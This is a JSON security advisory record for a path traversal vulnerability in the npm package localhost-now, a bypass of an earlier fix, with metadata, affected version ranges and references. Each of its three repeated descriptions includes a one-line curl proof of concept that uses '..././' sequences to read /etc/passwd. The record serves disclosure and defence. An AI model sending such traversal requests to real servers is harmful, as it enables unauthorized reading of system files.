{"id":"GHSA-73cw-jxmm-qpgh","aliases":[],"status":"published","title":"Path Traversal in localhost-now","description":"All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2019-06-11T16:40:48Z","modified":"2023-01-09T05:01:36Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"localhost-now","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.2"}]}]},{"source":"osv","ecosystem":"npm","package":"localhost-now","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.2"}]}]}],"references":[{"url":"https://hackerone.com/reports/329837","tags":["web"]},{"url":"https://github.com/DCKT/localhost-now/blob/master/lib/app.js#L17","tags":["web"]},{"url":"https://www.npmjs.com/advisories/655","tags":["web"]},{"url":"https://github.com/advisories/GHSA-73cw-jxmm-qpgh"}],"sources":{"ghsa":[{"id":"GHSA-73cw-jxmm-qpgh","title":"Path Traversal in localhost-now","description":"All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.\n ","status":"published","published":"2019-06-11T16:40:48Z","modified":"2023-01-09T05:01:36Z","cwes":["CWE-22"],"updated_at":"2026-11-02T14:36:02.073372Z"}],"osv":[{"id":"GHSA-73cw-jxmm-qpgh","title":"Path Traversal in localhost-now","description":"All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2\n\nProof of concept:\n\n```\n$ curl -v --path-as-is \"http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd\" \n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.\n ","status":"published","published":"2019-06-11T16:40:48Z","modified":"2020-08-31T18:31:31Z","cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:40.308826Z"}]}}
